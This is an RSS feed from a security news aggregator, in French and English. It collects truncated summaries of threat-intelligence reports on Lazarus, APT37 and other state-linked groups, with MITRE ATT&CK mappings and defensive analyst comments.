This is the RSS 2.0 feed from www.secnews.physaphae.fr. IT's a simple agragated flow of multiple articles soruces. Liste of sources, can be found on www.secnews.physaphae.fr. 2025-05-11T21:20:01+00:00 www.secnews.physaphae.fr Security Intelligence - Site de news Américain En février 2023, X-Force a publié un blog intitulé & # 8220; Direct Kernel Object Manipulation (DKOM) Attacks contre les fournisseurs ETW & # 8221;Cela détaille les capacités d'un échantillon attribué au groupe Lazare se sont exploités pour altérer la visibilité des opérations de logiciels malveillants.Ce blog ne remaniera pas l'analyse de l'échantillon de logiciel malveillant Lazarus ou du traçage d'événements pour Windows (ETW) comme [& # 8230;]

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>In February 2023, X-Force posted a blog entitled “Direct Kernel Object Manipulation (DKOM) Attacks on ETW Providers” that details the capabilities of a sample attributed to the Lazarus group leveraged to impair visibility of the malware’s operations. This blog will not rehash analysis of the Lazarus malware sample or Event Tracing for Windows (ETW) as […] ]]> 2023-03-20T18:30:00+00:00 https://securityintelligence.com/posts/defensive-considerations-lazarus-fudmodule/ www.secnews.physaphae.fr/article.php?IdArticle=8320005 False Malware,Medical APT 38 3.0000000000000000 Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Xenomorph V3: a New Variant with ATS Targeting More Than 400 Institutions (published: March 10, 2023) Newer versions of the Xenomorph Android banking trojan are able to target 400 applications: cryptocurrency wallets and mobile banking from around the World with the top targeted countries being Spain, Turkey, Poland, USA, and Australia (in that order). Since February 2022, several small, testing Xenomorph campaigns have been detected. Its current version Xenomorph v3 (Xenomorph.C) is available on the Malware-as-a-Service model. This trojan version was delivered using the Zombinder binding service to bind it to a legitimate currency converter. Xenomorph v3 automatically collects and exfiltrates credentials using the ATS (Automated Transfer Systems) framework. The command-and-control traffic is blended in by abusing Discord Content Delivery Network. Analyst Comment: Fraud chain automation makes Xenomorph v3 a dangerous malware that might significantly increase its prevalence on the threat landscape. Users should keep their mobile devices updated and avail of mobile antivirus and VPN protection services. Install only applications that you actually need, use the official store and check the app description and reviews. Organizations that publish applications for their customers are invited to use Anomali's Premium Digital Risk Protection service to discover rogue, malicious apps impersonating your brand that security teams typically do not search or monitor. MITRE ATT&CK: [MITRE ATT&CK] T1417.001 - Input Capture: Keylogging | [MITRE ATT&CK] T1417.002 - Input Capture: Gui Input Capture Tags: malware:Xenomorph, Mobile, actor:Hadoken Security Group, actor:HadokenSecurity, malware-type:Banking trojan, detection:Xenomorph.C, Malware-as-a-Service, Accessibility services, Overlay attack, Discord CDN, Cryptocurrency wallet, target-industry:Cryptocurrency, target-industry:Banking, target-country:Spain, target-country:ES, target-country:Turkey, target-country:TR, target-country:Poland, target-country:PL, target-country:USA, target-country:US, target-country:Australia, target-country:AU, malware:Zombinder, detection:Zombinder.A, Android Cobalt Illusion Masquerades as Atlantic Council Employee (published: March 9, 2023) A new campaign by Iran-sponsored Charming Kitten (APT42, Cobalt Illusion, Magic Hound, Phosphorous) was detected targeting Mahsa Amini protests and researchers who document the suppression of women and minority groups i]]> 2023-03-14T17:32:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-xenomorph-automates-the-whole-fraud-chain-on-android-icefire-ransomware-started-targeting-linux-mythic-leopard-delivers-spyware-using-romance-scam www.secnews.physaphae.fr/article.php?IdArticle=8318511 False Ransomware,Malware,Tool,Vulnerability,Threat,Guideline,Conference APT 35,ChatGPT,ChatGPT,APT 36,APT 42 2.0000000000000000 AhnLab - Korean Security Firm The ASEC (AhnLab Security Emergency response Center) analysis team has discovered that the CHM malware, which is assumed to have been created by the RedEyes threat group (also known as APT37, ScarCruft), is being distributed to Korean users. The team has confirmed that the command used in the “2.3. Persistence” stage of the RedEyes group’s M2RAT malware attack, which was reported back in February, has the same format as the command used in this attack. This information, as well as... ]]> 2023-03-08T23:30:00+00:00 https://asec.ahnlab.com/en/49089/ www.secnews.physaphae.fr/article.php?IdArticle=8316818 False Malware,Threat,Cloud APT 37 2.0000000000000000 AhnLab - Korean Security Firm Since two years ago (March 2021), the Lazarus group’s malware strains have been found in various Korean companies related to national defense, satellites, software, media press, etc. As such, ASEC (AhnLab Security Emergency Response Center) has been pursuing and analyzing the Lazarus threat group’s activities and related malware.  The affected company in this case had been infiltrated by the Lazarus group in May 2022 and was re-infiltrated recently through the same software’s 0-Day vulnerability. During the infiltration in May 2022,... ]]> 2023-03-06T23:30:00+00:00 https://asec.ahnlab.com/en/48810/ www.secnews.physaphae.fr/article.php?IdArticle=8316149 False Malware,Vulnerability,Threat,Medical APT 38 3.0000000000000000 Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence WinorDLL64: A Backdoor From The Vast Lazarus Arsenal? (published: February 23, 2023) When the Wslink downloader (WinorLoaderDLL64.dll) was first discovered in 2021, it had no known payload and no known attribution. Now ESET researchers have discovered a Wslink payload dubbed WinorDLL64. This backdoor uses some of Wslink functions and the Wslink-established TCP connection encrypted with 256-bit AES-CBC cipher. WinorDLL64 has some code similarities with the GhostSecret malware used by North Korea-sponsored Lazarus Group. Analyst Comment: Wslink and WinorDLL64 use a well-developed cryptographic protocol to protect the exchanged data. Innovating advanced persistent groups like Lazarus often come out with new versions of their custom malware. It makes it important for network defenders to leverage the knowledge of a wider security community by adding relevant premium feeds and leveraging the controls automation via Anomali Platform integrations. MITRE ATT&CK: [MITRE ATT&CK] T1587.001 - Develop Capabilities: Malware | [MITRE ATT&CK] T1059.001: PowerShell | [MITRE ATT&CK] T1106: Native API | [MITRE ATT&CK] T1134.002 - Access Token Manipulation: Create Process With Token | [MITRE ATT&CK] T1070.004 - Indicator Removal on Host: File Deletion | [MITRE ATT&CK] T1087.001 - Account Discovery: Local Account | [MITRE ATT&CK] T1087.002 - Account Discovery: Domain Account | [MITRE ATT&CK] T1083 - File And Directory Discovery | [MITRE ATT&CK] T1135 - Network Share Discovery | [MITRE ATT&CK] T1057 - Process Discovery | [MITRE ATT&CK] T1012: Query Registry | [MITRE ATT&CK] Picus: The System Information Discovery Technique Explained - MITRE ATT&CK T1082 | [MITRE ATT&CK] T1614 - System Location Discovery | [MITRE ATT&CK] T1614.001 - System Location Discovery: System Language Discovery | [MITRE ATT&CK] T1016 - System Network Configuration Discovery | [MITRE ATT&CK] T1049 - System Network Connections Discovery |]]> 2023-02-28T16:15:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-newly-discovered-winordll64-backdoor-has-code-similarities-with-lazarus-ghostsecret-atharvan-backdoor-can-be-restricted-to-communicate-on-certain-days www.secnews.physaphae.fr/article.php?IdArticle=8314193 False Ransomware,Malware,Tool,Threat,Medical,Medical,Cloud APT 38 1.00000000000000000000 knowbe4 - cybersecurity services CyberheistNews Vol 13 #09  |   February 28th, 2023 [Eye Opener] Should You Click on Unsubscribe? By Roger A. Grimes. Some common questions we get are "Should I click on an unwanted email's 'Unsubscribe' link? Will that lead to more or less unwanted email?" The short answer is that, in general, it is OK to click on a legitimate vendor's unsubscribe link. But if you think the email is sketchy or coming from a source you would not want to validate your email address as valid and active, or are unsure, do not take the chance, skip the unsubscribe action. In many countries, legitimate vendors are bound by law to offer (free) unsubscribe functionality and abide by a user's preferences. For example, in the U.S., the 2003 CAN-SPAM Act states that businesses must offer clear instructions on how the recipient can remove themselves from the involved mailing list and that request must be honored within 10 days. Note: Many countries have laws similar to the CAN-SPAM Act, although with privacy protection ranging the privacy spectrum from very little to a lot more protection. The unsubscribe feature does not have to be a URL link, but it does have to be an "internet-based way." The most popular alternative method besides a URL link is an email address to use. In some cases, there are specific instructions you have to follow, such as put "Unsubscribe" in the subject of the email. Other times you are expected to craft your own message. Luckily, most of the time simply sending any email to the listed unsubscribe email address is enough to remove your email address from the mailing list. [CONTINUED] at the KnowBe4 blog:https://blog.knowbe4.com/should-you-click-on-unsubscribe [Live Demo] Ridiculously Easy Security Awareness Training and Phishing Old-school awareness training does not hack it anymore. Your email filters have an average 7-10% failure rate; you need a strong human firewall as your last line of defense. Join us TOMORROW, Wednesday, March 1, @ 2:00 PM (ET), for a live demo of how KnowBe4 introduces a new-school approac]]> 2023-02-28T14:00:00+00:00 https://blog.knowbe4.com/cyberheistnews-vol-13-09-eye-opener-should-you-click-on-unsubscribe www.secnews.physaphae.fr/article.php?IdArticle=8314155 False Malware,Hack,Tool,Vulnerability,Threat,Guideline,Prediction APT 38,ChatGPT 3.0000000000000000 The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2023-02-23T17:17:00+00:00 https://thehackernews.com/2023/02/lazarus-group-using-new-winordll64.html www.secnews.physaphae.fr/article.php?IdArticle=8312842 False Malware,Tool,Medical APT 38 1.00000000000000000000 AhnLab - Korean Security Firm Since approximately a year ago, the Lazarus group’s malware has been discovered in various Korean companies related to national defense, satellites, software, and media press. The AhnLab ASEC analysis team has been continuously tracking the Lazarus threat group’s activities and other related TTPs. Among the recent cases, this post aims to share the anti-forensic traces and details found in the systems that were infiltrated by the Lazarus group. Overview Definition of Anti-Forensics Anti-forensics refers to the tampering of evidence in... ]]> 2023-02-23T02:00:00+00:00 https://asec.ahnlab.com/en/48223/ www.secnews.physaphae.fr/article.php?IdArticle=8312769 False Malware,Threat,Medical APT 38 2.0000000000000000 AhnLab - Korean Security Firm In January, the ASEC (AhnLab Security Emergency response Center) analysis team discovered that the RedEyes threat group (also known as APT37, ScarCruft) had been distributing malware by exploiting the HWP EPS (Encapsulated PostScript) vulnerability (CVE-2017-8291). This report will share the RedEyes group’s latest activity in Korea. 1. Overview The RedEyes group is known for targeting specific individuals and not corporations, stealing not only personal PC information but also the mobile phone data of their targets. A distinct characteristic of the... ]]> 2023-02-21T01:00:00+00:00 https://asec.ahnlab.com/en/48063/ www.secnews.physaphae.fr/article.php?IdArticle=8312034 False Malware,Vulnerability,Threat,Cloud APT 37 3.0000000000000000 The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2023-02-15T20:29:00+00:00 https://thehackernews.com/2023/02/north-koreas-apt37-targeting-southern.html www.secnews.physaphae.fr/article.php?IdArticle=8310534 False Malware,Threat,Cloud APT 38,APT 37 2.0000000000000000 InformationSecurityBuzzNews - Site de News Securite 2023-02-15T10:06:57+00:00 https://informationsecuritybuzz.com/redeyes-hackers-malware-data-devices/ www.secnews.physaphae.fr/article.php?IdArticle=8310429 False Malware,Threat,Cloud APT 37 2.0000000000000000 Bleeping Computer - Magazine Américain 2023-02-14T17:37:57+00:00 https://www.bleepingcomputer.com/news/security/redeyes-hackers-use-new-malware-to-steal-data-from-windows-phones/ www.secnews.physaphae.fr/article.php?IdArticle=8310290 False Malware,Threat,Cloud APT 37 2.0000000000000000 Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence No Pineapple! –DPRK Targeting of Medical Research and Technology Sector (published: February 2, 2023) In August-November 2022, North Korea-sponsored group Lazarus has been engaging in cyberespionage operations targeting defense, engineering, healthcare, manufacturing, and research organizations. The group has shifted their infrastructure from using domains to be solely IP-based. For initial compromise the group exploited known vulnerabilities in unpatched Zimbra mail servers (CVE-2022-27925 and CVE-2022-37042). Lazarus used off the shelf malware (Cobalt Strike, JspFileBrowser, JspSpy webshell, and WSO webshell), abused legitimate Windows and Unix tools (such as Putty SCP), and tools for proxying (3Proxy, Plink, and Stunnel). Two custom malware unique to North Korea-based advanced persistent threat actors were a new Grease version that enables RDP access on the host, and the Dtrack infostealer. Analyst Comment: Organizations should keep their mail server and other publicly-facing systems always up-to-date with the latest security features. Lazarus Group cyberespionage attacks are often accompanied by stages of multi-gigabyte exfiltration traffic. Suspicious connections and events should be monitored, detected and acted upon. Use the available YARA signatures and known indicators. MITRE ATT&CK: [MITRE ATT&CK] T1587.002 - Develop Capabilities: Code Signing Certificates | [MITRE ATT&CK] T1190 - Exploit Public-Facing Application | [MITRE ATT&CK] picus-security: The Most Used ATT&CK Technique—T1059 Command and Scripting Interpreter | [MITRE ATT&CK] T1569.002: Service Execution | [MITRE ATT&CK] T1106: Native API | [MITRE ATT&CK] T1505.003 - Server Software Component: Web Shell | [MITRE ATT&CK] T1037.005 - Boot or Logon Initialization Scripts: Startup Items | [MITRE ATT&CK] T1053.005 - Scheduled Task/Job: Scheduled Task | [MITRE ATT&CK] T1036.005 - Masquerading: Match Legitimate Name Or Location | [MITRE ATT&CK] T1553 - Subvert Trust Controls | [MITRE ATT&CK] T1070.004 - Indicator Removal on Host: File Deletion | [MITRE ATT&CK] T1070.007 - Indicator Removal: Clear Network Connection History And Configurations | ]]> 2023-02-07T17:23:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-malvirt-obfuscates-with-koivm-virtualization-icebreaker-overlay-hides-v8-bytecode-runtime-interpretation-sandworm-deploys-multiple-wipers-in-ukraine www.secnews.physaphae.fr/article.php?IdArticle=8307984 False Malware,Tool,Threat,Medical,Medical APT 38 3.0000000000000000 InfoSecurity Mag - InfoSecurity Magazine 2023-02-03T16:00:00+00:00 https://www.infosecurity-magazine.com/news/credential-stealing-campaign-apt34/ www.secnews.physaphae.fr/article.php?IdArticle=8306880 False Malware APT 34 2.0000000000000000 TrendLabs Security - Editeur Antivirus 2023-02-02T00:00:00+00:00 https://www.trendmicro.com/en_us/research/23/b/new-apt34-malware-targets-the-middle-east.html www.secnews.physaphae.fr/article.php?IdArticle=8306460 False Malware APT 34 2.0000000000000000 Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Chinese PlugX Malware Hidden in Your USB Devices? (published: January 26, 2023) Palo Alto researchers analyzed a PlugX malware variant (KilllSomeOne) that spreads via USB devices such as floppy, thumb, or flash drives. The variant is used by a technically-skilled group, possibly by the Black Basta ransomware. The actors use special shortcuts, folder icons and settings to make folders impersonating disks and a recycle bin directory. They also name certain folders with the 00A0 (no-break space) Unicode character thus hindering Windows Explorer and the command shell from displaying the folder and all the files inside it. Analyst Comment: Several behavior detections could be used to spot similar PlugX malware variants: DLL side loading, adding registry persistence, and payload execution with rundll32.exe. Incidents responders can check USB devices for the presence of no-break space as a folder name. MITRE ATT&CK: [MITRE ATT&CK] T1091 - Replication Through Removable Media | [MITRE ATT&CK] T1559.001 - Inter-Process Communication: Component Object Model | [MITRE ATT&CK] T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification | [MITRE ATT&CK] T1574.002 - Hijack Execution Flow: Dll Side-Loading | [MITRE ATT&CK] T1036 - Masquerading | [MITRE ATT&CK] T1027 - Obfuscated Files Or Information | [MITRE ATT&CK] T1564.001: Hidden Files and Directories | [MITRE ATT&CK] T1105 - Ingress Tool Transfer Tags: detection:PlugX, detection:KilllSomeOne, USB, No-break space, file-type:DAT, file-type:EXE, file-type:DLL, actor:Black Basta, Windows Abraham's Ax Likely Linked to Moses Staff (published: January 26, 2023) Cobalt Sapling is an Iran-based threat actor active in hacking, leaking, and sabotage since at least November 2020. Since October 2021, Cobalt Sapling has been operating under a persona called Moses Staff to leak data from Israeli businesses and government entities. In November 2022, an additional fake identity was created, Abraham's Ax, to target government ministries in Saudi Arabia. Cobalt Sapling uses their custom PyDCrypt loader, the StrifeWater remote access trojan, and the DCSrv wiper styled as ransomware. Analyst Comment: A defense-in-depth approach can assist in creating a proactive stance against threat actors attempting to destroy data. Critical systems should be segregated from each other to minimize potential damage, with an]]> 2023-01-31T17:27:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-killlsomeone-folders-invisible-in-windows-everything-apis-abuse-speeds-up-ransomware-apt38-experiments-with-delivery-vectors-and-backdoors www.secnews.physaphae.fr/article.php?IdArticle=8305945 False Ransomware,Malware,Tool,Threat,Medical APT 38 3.0000000000000000 Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence PyTorch Discloses Malicious Dependency Chain Compromise Over Holidays (published: January 1, 2023) Between December 25th and December 30th, 2022, users who installed PyTorch-nightly were targeted by a malicious library. The malicious torchtriton dependency on PyPI uses the dependency confusion attack by having the same name as the legitimate one on the PyTorch repository (PyPI takes precedence unless excluded). The actor behind the malicious library claims that it was part of ethical research and that he alerted some affected companies via HackerOne programs (Facebook was allegedly alerted). At the same time the library’s features are more aligned with being a malware than a research project. The code is obfuscated, it employs anti-VM techniques and doesn’t stop at fingerprinting. It exfiltrates passwords, certain files, and the history of Terminal commands. Stolen data is sent to the C2 domain via encrypted DNS queries using the wheezy[.]io DNS server. Analyst Comment: The presence of the malicious torchtriton binary can be detected, and it should be uninstalled. PyTorch team has renamed the 'torchtriton' library to 'pytorch-triton' and reserved the name on PyPI to prevent similar attacks. Opensource repositories and apps are a valuable asset for many organizations but adoption of these must be security risk assessed, appropriately mitigated and then monitored to ensure ongoing integrity. MITRE ATT&CK: [MITRE ATT&CK] T1195.001 - Supply Chain Compromise: Compromise Software Dependencies And Development Tools | [MITRE ATT&CK] T1027 - Obfuscated Files Or Information | [MITRE ATT&CK] Picus: The System Information Discovery Technique Explained - MITRE ATT&CK T1082 | [MITRE ATT&CK] T1003.008 - OS Credential Dumping: /Etc/Passwd And /Etc/Shadow | [MITRE ATT&CK] T1041 - Exfiltration Over C2 Channel Tags: Dependency confusion, Dependency chain compromise, PyPI, PyTorch, torchtriton, Facebook, Meta AI, Exfiltration over DNS, Linux Linux Backdoor Malware Infects WordPress-Based Websites (published: December 30, 2022) Doctor Web researchers have discovered a new Linux backdoor that attacks websites based on the WordPress content management system. The latest version of the backdoor exploits 30 vulnerabilities in outdated versions of WordPress add-ons (plugins and themes). The exploited website pages are injected with a malicious JavaScript that intercepts all users clicks on the infected page to cause a malicious redirect. Analyst Comment: Owners of WordPress-based websites should keep all the components of the platform up-to-date, including third-party add-ons and themes. Use ]]> 2023-01-04T16:30:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-machine-learning-toolkit-targeted-by-dependency-confusion-multiple-campaigns-hide-in-google-ads-lazarus-group-experiments-with-bypassing-mark-of-the-web www.secnews.physaphae.fr/article.php?IdArticle=8297872 False Malware,Tool,Vulnerability,Threat,Patching,Medical APT 38,LastPass 2.0000000000000000 WatchGuard - Fabricant Matériel et Logiciels 2022-12-22T00:00:00+00:00 https://www.watchguard.com/fr/wgrd-news/press-releases/le-rapport-threat-lab-de-watchguard-revele-que-la-principale-menace www.secnews.physaphae.fr/article.php?IdArticle=8393223 False Ransomware,Malware,Tool,Threat APT 3 3.0000000000000000 Global Security Mag - Site de news francais Malware Update]]> 2022-12-15T17:15:19+00:00 https://www.globalsecuritymag.fr/WatchGuard-Threat-Lab-Report-Finds-Top-Threat-Arriving-Exclusively-Over.html www.secnews.physaphae.fr/article.php?IdArticle=8291639 False Malware,Threat APT 3 2.0000000000000000 Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence New MuddyWater Threat: Old Kitten; New Tricks (published: December 8, 2022) In 2020-2022, Iran-sponsored MuddyWater (Static Kitten, Mercury) group went through abusing several legitimate remote administration tools: RemoteUtilities, followed by ScreenConnect and then Atera Agent. Since September 2022, a new campaign attributed to MuddyWater uses spearphishing to deliver links to archived MSI files with yet another remote administration tool: Syncro. Deep Instinct researchers observed the targeting of Armenia, Azerbaijan, Egypt, Iraq, Israel, Jordan, Oman, Qatar, Tajikistan, and United Arab Emirates. Analyst Comment: Network defenders are advised to establish a baseline for typical running processes and monitor for remote desktop solutions that are not common in the organization. MITRE ATT&CK: [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] Remote Access Tools - T1219 Tags: mitre-group:MuddyWater, actor:Static Kitten, actor:Mercury, Iran, source-country:IR, APT, Cyberespionage, Ministry of Intelligence and Security, detection:Syncro, malware-type:RAT, file-type:MSI, file-type:ZIP, OneHub, Windows Babuk Ransomware Variant in Major New Attack (published: December 7, 2022) In November 2022, Morphisec researchers identified a new ransomware variant based on the Babuk source code that was leaked in 2021. One modification is lowering detection by abusing the legitimate Microsoft signed process: DLL side-loading into NTSD.exe — a Symbolic Debugger tool for Windows. The mechanism to remove the available Shadow Copies was changed to using Component Object Model objects that execute Windows Management Instrumentation queries. This sample was detected in a large, unnamed manufacturing company where attackers had network access and were gathering information for two weeks. They have compromised the company’s domain controller and used it to distribute ransomware to all devices within the organization through Group Policy Object. The delivered BAT script bypasses User Account Control and executes a malicious MSI file that contains files for DLL side-loading and an open-source-based reflective loader (OCS files). Analyst Comment: The attackers strive to improve their evasion techniques, their malware on certain steps hides behind Microsoft-signed processes and exists primarily in device memory. It increases the need for the defense-in-depth approach and robust monitoring of your organization domain. MITRE ATT&CK: [MITRE ATT&CK] Data Encrypted for Impact - T1486 | [MITRE ATT&CK] Abuse Elevation Control Mechanism - T1548 | [MITRE ATT&CK] Hijack Execution Flow - T1574 | ]]> 2022-12-13T16:00:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-muddywater-hides-behind-legitimate-remote-administration-tools-vice-society-tops-ransomware-threats-to-education-abandoned-javascript-library-domain-pushes-web-skimmers www.secnews.physaphae.fr/article.php?IdArticle=8290724 False Ransomware,Malware,Tool,Threat,Medical APT 38 3.0000000000000000 Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Chinese Gambling Spam Targets World Cup Keywords (published: December 2, 2022) Since 2018, a large-scale website infection campaign was affecting up to over 100,000 sites at a given moment. Infected websites, mostly oriented at audiences in China, were modified with additional scripts. Compromised websites were made to redirect users to Chinese gambling sites. Title and Meta tags on the compromised websites were changed to display keywords that the attackers had chosen to abuse search engine optimization (SEO). At the same time, additional scripts were switching the page titles back to the original if the visitor fingerprinting did not show a Chinese search engine from a preset list (such as Baidu). Analyst Comment: Website owners should keep their systems updated, use unique strong passwords and introduce MFA for all privileged or internet facing resources, and employ server-side scanning to detect unauthorized malicious content. Implement secure storage for website backups. MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Obfuscated Files or Information - T1027 Tags: SEO hack, HTML entities, Black hat SEO, Fraudulent redirects, Visitor fingerprinting, Gambling, Sports betting, World Cup, China, target-country:CN, JavaScript, Baidu, baiduspider, Sogou, 360spider, Yisou Leaked Android Platform Certificates Create Risks for Users (published: December 2, 2022) On November 30, 2022, Google reported 10 different Android platform certificates that were seen actively abused in the wild to sign malware. Rapid7 researchers found that the reported signed samples are adware, so it is possible that these platform certificates may have been widely available. It is not shared how these platform certificates could have been leaked. Analyst Comment: Malware signed with a platform certificate can enjoy privileged execution with system permissions, including permissions to access user data. Developers should minimize the number of applications requiring a platform certificate signature. Tags: Android, Google, Platform certificates, Signed malware, malware-type:Adware Blowing Cobalt Strike Out of the Water With Memory Analysis (published: December 2, 2022) The Cobalt Strike attack framework remains difficult to detect as it works mostly in memory and doesn’t touch the disk much after the initial loader stage. Palo Alto researchers analyzed three types of Cobalt Strike loaders: KoboldLoader which loads an SMB beacon, MagnetLoader loading an HTTPS beacon, and LithiumLoader loading a stager beacon. These beacon samples do not execute in normal sandbox environments and utilize in-me]]> 2022-12-06T17:09:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-infected-websites-show-different-headers-depending-on-search-engine-fingerprinting-10-android-platform-certificates-abused-in-the-wild-phishing-group-impersonated-major-uae-oil www.secnews.physaphae.fr/article.php?IdArticle=8288335 False Spam,Malware,Tool,Threat,Medical APT 38 3.0000000000000000 The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-12-05T17:54:00+00:00 https://thehackernews.com/2022/12/russian-courts-targeted-by-new-crywiper.html www.secnews.physaphae.fr/article.php?IdArticle=8287807 False Ransomware,Malware,Medical APT 38 3.0000000000000000 The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-12-05T16:00:00+00:00 https://thehackernews.com/2022/12/north-korean-hackers-spread-applejeus.html www.secnews.physaphae.fr/article.php?IdArticle=8287791 False Malware,Threat,Medical APT 38 3.0000000000000000 Bleeping Computer - Magazine Américain 2022-12-03T10:12:06+00:00 https://www.bleepingcomputer.com/news/security/hackers-use-new-fake-crypto-app-to-breach-networks-steal-cryptocurrency/ www.secnews.physaphae.fr/article.php?IdArticle=8287332 False Malware APT 38 3.0000000000000000 Volexity - Cyber Firms Au cours des derniers mois, la volexité a observé une nouvelle activité liée à un acteur de menace nord-coréen, IT suit largement le groupe Lazare.Cette activité implique notamment une campagne ciblant probablement les utilisateurs et les organisations de crypto-monnaie avec une variante du malware d'Applejeus par le biais de documents malveillants Microsoft Office.L'analyse de Volexity \\ de cette campagne a révélé un site Web en direct sur le thème de la crypto-monnaie avec le contenu volé à un autre site Web légitime.Une analyse technique supplémentaire du logiciel malveillant Applejeus déployé a révélé une nouvelle variation de chargement latérale DLL que la volexité n'a pas été documentée précédemment comme dans la nature.Ce blog décrit les nouvelles techniques utilisées par le groupe Lazare, analyse les récentes variantes de logiciels malveillants d'Applejeus, partage des indicateurs d'autres versions de ce malware, ainsi que des liens entre cette activité et les campagnes historiques.La fin de la publication comprend des possibilités de détection et d'atténuation pour les particuliers ou les organisations susceptibles d'être ciblées par [& # 8230;]

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>Over the last few months, Volexity has observed new activity tied to a North Korean threat actor it tracks that is widely referred to as the Lazarus Group. This activity notably involves a campaign likely targeting cryptocurrency users and organizations with a variant of the AppleJeus malware by way of malicious Microsoft Office documents. Volexity\'s analysis of this campaign uncovered a live cryptocurrency-themed website with contents stolen from another legitimate website. Further technical analysis of the deployed AppleJeus malware uncovered a new variation of DLL side-loading that Volexity has not seen previously documented as in the wild. This blog outlines new techniques used by the Lazarus Group, analyzes recent AppleJeus malware variants, shares indicators from other versions of this malware, as well as outlines links between this activity and historic campaigns. The end of the post includes detection and mitigation opportunities for individuals or organizations likely to be targeted by […] ]]> 2022-12-01T20:41:19+00:00 https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-applications-serving-as-front-for-applejeus-malware/ www.secnews.physaphae.fr/article.php?IdArticle=8388310 False Malware,Threat APT 38 3.0000000000000000 Global Security Mag - Site de news francais Malwares]]> 2022-11-30T13:59:28+00:00 https://www.globalsecuritymag.fr/ESET-Research-un-groupe-de-pirates-lie-a-la-Coree-du-Nord-vole-des-fichiers-de.html www.secnews.physaphae.fr/article.php?IdArticle=8285893 False Malware,Cloud APT 37 3.0000000000000000 Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence DEV-0569 Finds New Ways to Deliver Royal Ransomware, Various Payloads (published: November 17, 2022) From August to October, 2022, Microsoft researchers detected new campaigns by a threat group dubbed DEV-0569. For delivery, the group alternated between delivering malicious links by abusing Google Ads for malvertising and by using contact forms on targeted organizations’ public websites. Fake installer files were hosted on typosquatted domains or legitimate repositories (GitHub, OneDrive). First stage was user-downloaded, signed MSI or VHD file (BatLoader malware), leading to second stage payloads such as BumbleBee, Gozi, Royal Ransomware, or Vidar Stealer. Analyst Comment: DEV-0569 is a dangerous group for its abuse of legitimate services and legitimate certificates. Organizations should consider educating and limiting their users regarding software installation options. Links from alternative incoming messaging such as from contact forms should be treated as thorough as links from incoming email traffic. MITRE ATT&CK: [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] User Execution - T1204 | [MITRE ATT&CK] Ingress Tool Transfer - T1105 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Impair Defenses - T1562 | [MITRE ATT&CK] Data Encrypted for Impact - T1486 Tags: actor:DEV-0569, detection:Cobalt Strike, detection:Royal, malware-type:Ransomware, file-type:VHD, detection:NSudo, malware-type:Hacktool, detection:IcedID, Google Ads, Keitaro, Traffic distribution system, detection:Gozi, detection:BumbleBee, NirCmd, detection:BatLoader, malware-type:Loader, detection:Vidar, malware-type:Stealer, AnyDesk, GitHub, OneDrive, PowerShell, Phishing, SEO poisoning, TeamViewer, Adobe Flash Player, Zoom, Windows Highly Sophisticated Phishing Scams Are Abusing Holiday Sentiment (published: November 16, 2022) From mid-September 2022, a new phishing campaign targets users in North America with holiday special pretenses. It impersonated a number of major brands including Costco, Delta Airlines, Dick's, and Sam's Club. Akamai researchers analyzed techniques that the underlying sophisticated phishing kit was using. For defense evasion and tracking, the attackers used URI fragmentation. They were placing target-specific tokens after the URL fragment identifier (a hash mark, aka HTML anchor). The value was used by a JavaScript code running on the victim’s browser to reconstruct the redirecting URL. Analyst Comment: Evasion through URI fragmentation hides the token value from traff]]> 2022-11-22T23:47:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-uri-fragmentation-used-to-stealthily-defraud-holiday-shoppers-lazarus-and-billbug-stick-to-their-custom-backdoors-z-team-turned-ransomware-into-wiper-and-more www.secnews.physaphae.fr/article.php?IdArticle=8169179 False Ransomware,Malware,Tool,Threat,Guideline,Medical APT 38 4.0000000000000000 The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-11-04T19:13:00+00:00 https://thehackernews.com/2022/11/researchers-detail-new-malware-campaign.html www.secnews.physaphae.fr/article.php?IdArticle=7823053 False Malware,Threat APT 36 None AhnLab - Korean Security Firm In the ASEC blog post uploaded on April 2022 (New Malware of Lazarus Threat Actor Group Exploiting INITECH Process, https://asec.ahnlab.com/en/33801/), the team discussed the fact that the Lazarus attack group had been exploiting the INITECH process to infect systems with malware.  This article aims to cover the details of the Lazarus group using the watering hole technique to hack into systems before exploiting the vulnerability of the MagicLine4NX product from Dream Security in order to additionally hack into systems in... ]]> 